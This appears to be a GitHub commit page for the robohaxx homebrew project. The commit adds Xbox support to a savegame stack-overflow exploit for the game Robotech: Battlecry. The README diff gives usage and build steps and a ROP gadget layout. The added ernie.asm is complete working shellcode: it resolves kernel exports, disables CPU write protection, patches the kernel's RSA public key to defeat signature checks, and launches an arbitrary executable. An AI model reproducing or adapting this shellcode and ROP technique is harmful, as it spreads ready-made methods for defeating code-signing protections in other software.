Skip to content

Commit

Permalink
xbox support! rop chain generator for all 7 kernels
Browse files Browse the repository at this point in the history
  • Loading branch information
InvoxiPlayGames committed Aug 16, 2023
1 parent bacc2ca commit 5384eea
Show file tree
Hide file tree
Showing 4 changed files with 310 additions and 47 deletions.
3 changes: 1 addition & 2 deletions .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -3,9 +3,8 @@
*.elf
*.o
ernie
# wip shellcode
*.asm
# output artifacts
savegame
*.gci
*.xsv
*.xbx
Expand Down
86 changes: 74 additions & 12 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,30 +1,60 @@
# robohaxx: stackcry

A savegame exploit / homebrew entrypoint for the game Robotech: Battlecry on the GameCube.
A savegame exploit / homebrew entrypoint for the game Robotech: Battlecry on the GameCube and Xbox.

Compatible with both USA and EUR revisions of the game. (Only USA has been tested on real GC hardware.)
Compatible with both USA and EUR revisions of the game, and all 7 retail Xbox kernels. (Untested)

["it's a stack overflow in the profile name on a 6th gen console game"](https://tenor.com/view/buzz-lightyear-factory-you-will-never-find-another-store-shelf-a-bunch-of-buzz-lightyears-gif-21719996) (Tenor GIF link)

## How to Use

1. Copy the .gci file for your region from [the robohaxx releases page](https://github.com/InvoxiPlayGames/robohaxx/releases)
## How to Use (Xbox)

1. Get the kernel version from your Xbox using the dashboard.
* Go to Settings -> System Info, then read the value that says **K** (e.g. K:1.00.**5530**.01, bold is the important part).
* *The part that says "D" is the dashboard version, and does not matter!*
2. Download the .zip file for your region and kernel version from [the robohaxx releases page](https://github.com/InvoxiPlayGames/robohaxx/releases/tag/release-xbox-1.0)
and extract the contents, then copy it to an Xbox formatted USB drive using a tool like Xplorer360.
* If using Rocky5's softmod tool, you also want to have the "Softmod Save" from [Rocky5's Xbox Softmodding Tool](https://github.com/Rocky5/Xbox-Softmodding-Tool/blob/master/README.md)
copied to the USB drive as well. This file is in the "Softmod Package" folder in the downloaded Xbox Softmodding Tool ZIP file.
* If not using the Rocky5 softmod tool, replace the "default.xbe" in the files you extracted with whatever you're using.
3. On the Xbox dashboard, connect your USB drive and copy the robohaxx savegame as well as the Xbox Softmodding Tool.
* Ensure there are **NO** other savegames for Robotech: Battlecry on the hard drive.
* While you're here, double check that the kernel version and region on the save file match your console.
4. Launch Robotech: Battlecry.
5. At the main menu, select the "Load Game" option.
6. After a few seconds, the Xbox Softmodding Tool (or anything else you decide to load) *should* load!
* The light on your Xbox will blink and change colour. This is expected and normal.

## How to Use (GameCube)

1. Copy the .gci file for your region from [the robohaxx releases page](https://github.com/InvoxiPlayGames/robohaxx/releases/tag/release-1.0)
to your Memory Card using [GCMM](https://github.com/suloku/gcmm/releases).
* While you're here, make sure you have the latest Swiss boot GCI, too. (Or any other boot.dol.)
* Ensure there are **NO** other savegames for Robotech: Battlecry on the memory card.
2. Launch Robotech: Battlecry.
3. At the main menu, select the "Load Game" option.
4. Afetr a few seconds, Swiss (or any other homebrew) *should* load!
4. Aetfer a few seconds, Swiss (or any other homebrew) *should* load!

## Credits

### Xbox

Thank you to [agarmash](https://github.com/agarmash) for the clean writeup on his [Frogger Beyond exploit](https://github.com/agarmash/FroggerBeyondExploit),
as well as assistance and motivation in building this, and the modified "ernie" shellcode.

Thank you to the NKPatcher developer(s) for the base of the shellcode used in the exploit, and thanks to [Rocky5](https://github.com/Rocky5)
for the Xbox Softmodding Tool.

Shoutouts to the helpful folks in the XboxDev Discord server for pointers and guidance in putting this together.

### GameCube

Thank you to [FIX94](https://github.com/FIX94) for the gc-exploit-common-loader DOL loader, and for
example code for memory card loaders in other GC savegame exploits.
example code for memory card loaders in other GameCube savegame exploits.

Thanks to [Essem](https://github.com/TheEssem) for testing on real hardware, and being the inspiration behind this
[by just wanting a way to launch Swiss that isn't Animal Crossing.](https://wetdry.world/@esm/110792836912696997)
Thanks to [Essem](https://github.com/TheEssem) for testing on real GameCube hardware, and being the inspiration behind
this discovery [by just wanting a way to launch Swiss that isn't Animal Crossing.](https://wetdry.world/@esm/110792836912696997)

## Building from Source
## Building from Source (GameCube)

The source has two components, the memory card loader and the GCI builder. The memory card loader will
build if you have devkitPPC installed (although any powerpc-eabi GCC will work, change the Makefile).
Expand All @@ -36,10 +66,42 @@ compile the GCI builder, and then build the robohaxx GCI savefiles. Type `make`

If you only want to build for a specific region, type `make usa` or `make eur`.

## Building from Source (Xbox)

The Xbox source consists of the modified "ernie" shellcode and the XSV builder. The ernie shellcode requires
the NASM assembler, while the XSV builder requires a C build system installed.

First, open a Terminal **in the xbox_src directory.** To build the ernie shellcode, run `nasm ernie.asm`, and to
build the XSV builder, run `make`. It should build on macOS, Linux/WSL, and MingW64 on Windows.

The resulting game.xsv file can be created by typing `./xsv_builder ernie E 5530`, replacing E with U if
targeting the USA version of the game, and 5530 with a supported target kernel version. If using another payload,
replace "ernie" with the filename, and if using a custom set of offsets, provide the filename in place of the
kernel version.

Supported kernels are 3944, 4034, 4817, 5101, 5530, 5713 and 5838, which should cover all retail kernels.
Note that kernels 5530, 5713 and 5838 use the same ROP offsets - the output savegame will be identical.

Additional support is left over for the unofficial 4627 debug kernel. Unsupported/unofficial/debug kernels can
be supported - if you use a tool such as ROPper to find offsets to identical gadgets in xboxkrnl.exe, you can
create a file containing the raw addresses in binary little-endian format according to this structure:

```c
typedef struct _ROPStringGadgets {
uint32_t pop_eax__ret_4; // ("pop eax; ret 4;")
uint32_t pop_ecx__pop_ebx__ret_4; // ("pop ecx; pop ebx; ret 4;")
uint32_t xor_eax_ecx__ret; // ("xor eax, ecx; ret;")
uint32_t jmp_eax; // ("jmp eax;")
} ROPStringGadgets;
```

## License

The GameCube memory card loader and GCI builder are licensed under the GNU General Public License version 2. See attached
The memory card loader, GCI builder and XSV builder are licensed under the GNU General Public License version 2. See attached
LICENSE file for more details.

The GameCube chain uses FIX94's [gc-exploit-common-loader](https://github.com/FIX94/gc-exploit-common-loader), also licensed
The GameCube chain uses FIX94's [gc-exploit-common-loader](https://github.com/FIX94/gc-exploit-common-loader), licensed
under GPLv2.

The Xbox chain uses a variation of [NKPatcher](https://github.com/Rocky5/Xbox-Softmodding-Tool/tree/master/App%20Sources/NKPatcher/Main%20NKP11)'s
shellcode in `ernie.asm`, licensed under GPLv2. If this attribution is incorrect, please get in touch.
101 changes: 101 additions & 0 deletions xbox_src/ernie.asm
Original file line number Diff line number Diff line change
@@ -0,0 +1,101 @@
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Modified ernie.asm shellcode for robohaxx
; Originally modified from: https://github.com/agarmash/FroggerBeyondExploit/blob/master/source/savefile.asm
; which was modified from https://github.com/Rocky5/Xbox-Softmodding-Tool/blob/master/App%20Sources/NKPatcher/Main%20NKP11/ernie.asm
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

BITS 32
base:
mov ebp, eax ; Set the EBP to point to the beginning of the exploit (ROP chain makes eax the start address!)
cld ; Clear the Direction Flag so the string instructions increment the address
mov esi,80010000h ; Kernel base address
mov eax,[esi+3Ch] ; Value of e_lfanew (File address of new exe header)
mov ebx,[esi+eax+78h] ; Value of IMAGE_NT_HEADERS32 -> IMAGE_OPTIONAL_HEADER32 -> IMAGE_DATA_DIRECTORY -> ibo32 (Virtual Address) (0x02e0)
add ebx,esi
mov edx,[ebx+1Ch] ; Value of IMAGE_DIRECTORY_ENTRY_EXPORT -> AddressOfFunctions (0x0308)
add edx,esi ; Address of kernel export table
lea edi,[ebp+kexports-base] ; Address of the local kernel export table
getexports:
mov ecx,[edi] ; Load the entry from the local table
jecxz .done
sub ecx,[ebx+10h] ; Subtract the IMAGE_DIRECTORY_ENTRY_EXPORT -> Base
mov eax,[edx+4*ecx] ; Load the export by number from the kernel table
test eax,eax
jz .empty ; Skip if the export is empty
add eax,esi ; Add kernel base address to the export to construct a valid pointer
.empty:
stosd ; Save the value back to the local table and increment EDI by 4
jmp getexports
.done:
blinkled: ; https://xboxdevwiki.net/PIC#The_LED
mov edi,[ebp+HalWriteSMBusValue-base]
push 0D7h ; Red-orange-green-orange LED sequence
push byte 0
push byte 8
push byte 20h
call edi
push byte 1
push byte 0
push byte 7
push byte 20h
call edi
patchpublickey:
mov ebx,[ebp+XePublicKeyData-base] ; The structure and location of the RSA key hasn't been changed between the kernel versions, no need to search for anything
pushf ; Enter the critical section, more details here:
cli ; https://lkml.iu.edu/hypermail/linux/kernel/9703.0/0060.html
mov eax,cr0
mov ecx, eax
and ecx,0FFFEFFFFh ; Clear the Write Protect bit
mov cr0,ecx
mov ecx, cr3 ; Invalidate TLB to defeat possible implicit caching. Done to make sure that no unpatched code is executed speculatively.
mov cr3, ecx ; See Intel Software Dev Manual Vol. 3A, 11.7 Implicit Caching
xor dword [ebx+110h],2DD78BD6h ; Alter the last 4 bytes of the public key
mov cr0, eax ; Restore the original value
wbinvd ; Flush the CPU caches
mov ecx, cr3 ; Invalidate TLB once again, just in case
mov cr3, ecx
popf ; Leave the critical section
launchxbe: ; Quite similar to https://github.com/XboxDev/OpenXDK/blob/master/src/hal/xbox.c#L36
mov esi,[ebp+LaunchDataPage-base] ; https://xboxdevwiki.net/Kernel/LaunchDataPage
mov ebx,[esi]
mov edi,1000h
test ebx,ebx ; Check the LaunchDataPage pointer
jnz .memok ; Jump if it's not NULL
push edi
call dword [ebp+MmAllocateContiguousMemory-base] ; Otherwise, allocate a memory page
mov ebx,eax ; And store the pointer to the allocated page in EBX
mov [esi],eax ; Store the pointer back to the kernel as well
.memok:
push byte 1
push edi
push ebx
call dword [ebp+MmPersistContiguousMemory-base]

mov edi,ebx
xor eax,eax
mov ecx,400h
rep stosd ; Fill the whole LaunchDataPage memory page (4096 Bytes) with zeros

or dword [ebx],byte -1 ; Set LaunchDataPage.launch_data_type to 0xFFFFFFFF
mov [ebx+4],eax ; Set LaunchDataPage.title_id to 0
lea edi,[ebx+8] ; Copy the address of LaunchDataPage.launch_path string
lea esi,[ebp+xbestr-base]
push byte xbestrlen
pop ecx
rep movsb ; Copy the executable path to the LaunchDataPage.launch_path
push byte 2 ; 2 stands for ReturnFirmwareQuickReboot
call dword [ebp+HalReturnToFirmware-base]
.inf:
jmp short .inf

kexports:
HalReturnToFirmware dd 49
HalWriteSMBusValue dd 50
LaunchDataPage dd 164
MmAllocateContiguousMemory dd 165
MmPersistContiguousMemory dd 178
XePublicKeyData dd 355
dd 0
xbestr:
db '\Device\Harddisk0\Partition1\UDATA\544d0002\8DEDAC5BF7EA;default.xbe',0
xbestrlen equ $-xbestr
Loading

0 comments on commit 5384eea

Please sign in to comment.